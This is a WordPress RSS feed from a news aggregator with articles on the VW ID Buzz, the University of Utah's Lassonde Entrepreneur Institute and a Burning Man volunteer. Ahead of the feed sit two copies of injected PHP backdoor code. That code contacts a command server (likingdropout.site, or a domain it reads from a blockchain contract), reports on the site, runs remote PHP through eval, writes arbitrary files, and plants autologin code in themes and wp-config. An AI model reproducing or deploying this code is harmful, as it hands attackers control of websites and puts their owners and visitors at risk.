// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); build – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 20 Sep 2022 10:24:38 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png build – Brief News https://briefnews.eu 32 32 After strong interest, VW plans to build 130,000 ID Buzzes a year https://briefnews.eu/after-strong-interest-vw-plans-to-build-130000-id-buzzes-a-year/ https://briefnews.eu/after-strong-interest-vw-plans-to-build-130000-id-buzzes-a-year/#respond Tue, 20 Sep 2022 10:24:38 +0000 https://briefnews.eu/after-strong-interest-vw-plans-to-build-130000-id-buzzes-a-year/
A pair of ID Buzzes bask in the Copenhagen sunshine.

Enlarge / A pair of ID Buzzes bask in the Copenhagen sunshine. (credit: Jonathan Gitlin)

After what feels like many years of teasing, Volkswagen’s retro-groovy ID Buzz has finally gone into production in Hannover, Germany. US market sales of the electric minivan are still two years away, but it has gone on sale in Europe, and demand has been so strong that VW is doubling production. “And this is without any of the customers seeing, touching, or even being able to drive the vehicle,” VW Commercial Vehicles Chairman Carsten Intra told Automobilwoche.

Built using VW’s new modular EV platform, the ID Buzz has launched in Europe with the shorter wheelbase variant, either as a two-row passenger vehicle or a commercial version that ditches windows and seats for pure cargo capacity. VW Commercial Vehicles says it has received roughly 12,500 preorders from European customers for the ID Buzz, and nearly half of those are for that commercial van.

VW dealers in Europe are about to receive their first demonstration models, and Intra told Automobilwoche that by the end of the year Hannover should have doubled production from 100 Buzzes a day to 200. 2023 is when things get serious, with a plan to produce 100,000 electric vans a year, increasing eventually to 130,000.

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]]> https://briefnews.eu/after-strong-interest-vw-plans-to-build-130000-id-buzzes-a-year/feed/ 0 How an institute at the University of Utah has helped entrepreneurs build their startups and raise more than $700 million in funding https://briefnews.eu/how-an-institute-at-the-university-of-utah-has-helped-entrepreneurs-build-their-startups-and-raise-more-than-700-million-in-funding/ https://briefnews.eu/how-an-institute-at-the-university-of-utah-has-helped-entrepreneurs-build-their-startups-and-raise-more-than-700-million-in-funding/#respond Mon, 12 Sep 2022 19:40:58 +0000 https://briefnews.eu/how-an-institute-at-the-university-of-utah-has-helped-entrepreneurs-build-their-startups-and-raise-more-than-700-million-in-funding/

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Kazi Awal/Insider

a building in Utah
Lassonde Entrepreneur Institute.

Courtesy of Lassonde Entrepreneur Institute

  • University of Utah's Lassonde Entrepreneur Institute helps students launch startups and raise money.
  • Undergraduate students, graduate students, and alumni have access to mentorship and other resources.
  • The university also plans to offer an online master of business creation degree to expand its reach.
  • This article is part of a series focused on American cities building a better tomorrow called "Advancing Cities."

Over the past 20 years, Troy D'Ambrosio, executive director of the University of Utah's Lassonde Entrepreneur Institute, has helped Salt Lake City's entrepreneur community flourish. He leads programs for students at the university that fosters a culture of innovation and supports the next generation of startup founders.

headshot of Troy D’Ambrosio
Troy D’Ambrosio.

Courtesy of Lassonde Entrepreneur Institute

The institute he works for, which was founded in 2001, is part of the university's David Eccles School of Business. It offers programs for high school students, undergraduates, and graduate students, and also just launched a new program for alumni. US News and World Report ranks it as one of the top 10 entrepreneurship schools in the nation.

a group of students at the University of Utah
Students celebrating the 20th anniversary.

Courtesy of Lassonde Entrepreneur Institute

"We've seen how much interest there is from entrepreneurs and where we thought we could fill in the gaps" to be a resource for them, D'Ambrosio, who's also an assistant dean at the business school, told Insider.

Salt Lake City's entrepreneur community is "amazing, robust, creative, and continues to grow," he said. "It's becoming part of our DNA. Entrepreneurship is what people want to do in the future. They're really interested in entrepreneurship, technology, and innovation."

As a Salt Lake City native and University of Utah alum, D'Ambrosio said he's seeing entrepreneurship and innovation being used to solve problems around climate change, health care, and transportation. So far Lassonde has helped students launch more than 2,700 startups and raise more than $ 700 million in funding, including venture capital. These include the medical device LERC Medical, an addiction-recovery mobile app called Relay, and Kroy Railway Group, a company helping mitigate railroad safety issues.

Here's a look at how Lassonde is supporting innovation and entrepreneurship in students.

Giving University of Utah alumni the tools to start businesses 

This month, the institute launched Lassonde for Life, a new program open to University of Utah alumni who completed any degree in any major and now want to start or grow their business. The program is free and offered online so alumni can participate from anywhere.

"We have a number of alumni who have been really successful who are always coming back saying, 'You made an impact on my life while I was there. How can I give back now?'" D'Ambrosio said. Alumni also often get in touch to ask about resources for starting a business.

The program pairs these two groups. It will feature a series of workshops during the 2022-23 academic year that are hosted by successful alumni on topics like launching an e-commerce business, prototyping new products, conducting market research, and navigating legal issues for startups. 

D'Ambrosio said the first program will help the institute learn more about which programs to offer, how often, and the best format to deliver the content going forward. 

Expanding an online master's program to reach more entrepreneurs 

In January 2023, the business school will expand its master of business creation (MBC) degree online, which will enable anyone from around the world to enroll. It'll focus on "the founder's startup, applied curriculum, personalized mentorship, substantial scholarships, peer support and discussion, access to $ 5 million in startup funding, and more," according to an announcement about the program.

The online MBC is part-time with a flexible schedule that's completed in 14 months instead of the nine-month full-time program, which is in-person only. It will feature video content and live virtual group meetings. Every student is assigned a coach, who they'll meet with regularly one-on-one.

"We created the online program because we had so many people apply for the in-resident program who either couldn't physically be in Utah or Salt Lake or because of economic circumstances, they're still working a day job, they have children they're taking care of, or they couldn't participate in as intense of a program as in-resident," D'Ambrosio said.

Students in the online program will have 60% of their costs covered by scholarships and will pay around $ 15,000 out of pocket. Next, D'Ambrosio said they plan to launch region-specific online MBC programs in Africa and Europe.

Offering programs to the next generation of startup founders 

The institute provides many other initiatives, programs, and resources to support the next generation of entrepreneurs. Its Lassonde Studios is a 400-person residential community and innovation facility on campus for University of Utah students to create and launch ideas. It features a 20,000-square-foot innovation space with 3D printers, laser cutters, and office space.

a room on a college campus
The innovation space.

Courtesy of Lassonde Entrepreneur Institute

"It's become this gathering place, a community where entrepreneurs go," D'Ambrosio said. "It's a unique place where people can find each other on campus and work together." 

Students also help commercialize ideas created by other university departments by translating them into real products. D'Ambrosio said they've helped around 70 technologies developed at the university raise startup capital and enter the market, including Peel Therapeutics, a biotech company developing cancer and inflammatory disease medications that recently kicked off its clinical trials.

"We're using that intellectual property on campus as a tool to teach technology commercialization, entrepreneurship, and capital raising," D'Ambrosio said.

The institute also runs the High School Utah Entrepreneur Challenge (HSUEC), which is open to all Utah high school students, who can win prize money and scholarships based on their ideas. Another program, the Lassonde Founders Program, is a cohort of incoming freshmen at the university who have started companies. The students receive housing at Lassonde Studios, a scholarship, and access to resources and a community to develop their businesses.

"The really interesting thing for us is these young people teach us about the new trends and new technologies and stuff out there," D'Ambrosio said. "They're educating us as much as we're educating them."

Working with students and creating a place where they can develop their ideas and get them out into the world is what D'Ambrosio loves about his role.

"When a student walks into your office and says, 'I have this idea,' and I get to say, 'I can help you,' it's the coolest job ever," he said.

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]]> https://briefnews.eu/how-an-institute-at-the-university-of-utah-has-helped-entrepreneurs-build-their-startups-and-raise-more-than-700-million-in-funding/feed/ 0 I’ve worked at Burning Man for years. This is what it’s like to build a city for 70,000 people and then have it disappear. https://briefnews.eu/ive-worked-at-burning-man-for-years-this-is-what-its-like-to-build-a-city-for-70000-people-and-then-have-it-disappear/ https://briefnews.eu/ive-worked-at-burning-man-for-years-this-is-what-its-like-to-build-a-city-for-70000-people-and-then-have-it-disappear/#respond Sat, 03 Sep 2022 14:39:33 +0000 https://briefnews.eu/ive-worked-at-burning-man-for-years-this-is-what-its-like-to-build-a-city-for-70000-people-and-then-have-it-disappear/ A Hookadome at Burning Man in 2009
A "hookahdome" at Burning Man in 2009.

Courtesy of Matt

  • One volunteer who's been working and attending Burning Man for years shared what it's like.
  • He loves the job and the fact that he gets to meet a lot of new people.
  • The organization takes care to make sure attendees are safe, he says.

This as-told-to essay is based on a conversation with Matt, who's volunteered to work at Burning Man for years. He asked to only use his first name for privacy reasons, but Insider has verified his identity and story with documentation. It has been edited for length and clarity. 

In 1997, I was living in Chicago, and a friend and I along with one of his friends were starting an art co-op. About a month after we held our first event, my friend was riding his bicycle over to my house and was hit by a truck — he was killed instantly. His buddy and I knew that we had to honor his art dreams.

My older brother had been working for Burning Man in San Francisco, so this friend and I flew out there and traveled to the desert with him. Burning Man is held about three hours north of Reno, Nevada, basically where the roads end and turn into dirt. Every year, the location pivots slightly so that there's less wear and tear on the land overall. We try to keep the land in as good shape as possible. 

The Black Rock desert, where Burning Man takes place
The Black Rock Desert, where Burning Man takes place.

Courtesy of Matt

Back then, it wasn't nearly as structured, so there we were, in 110-degree weather, with no generators, tents, or RVs, just people doing weird stuff with art. It was like nothing I'd ever seen before.

I started off just jumping right in with my older brother and working the event, and I just kept going from there. I also work a lot of orphan burns, which are burns in different places around the world that take place outside of the official Burning Man.

All of the events just get better and better every year. I work 20-hour days, bouncing between four different departments, and I just love it. 

I'm part of the prebuild organization 

A truck in the desert
A truck helping set up the event in 2019.

Courtesy of Matt

One of the principles of Burning Man is to not leave a trace, meaning we don't have an ongoing structure. So every year, we show up and have to plot out the land and build up the event starting about two weeks before everyone arrives.

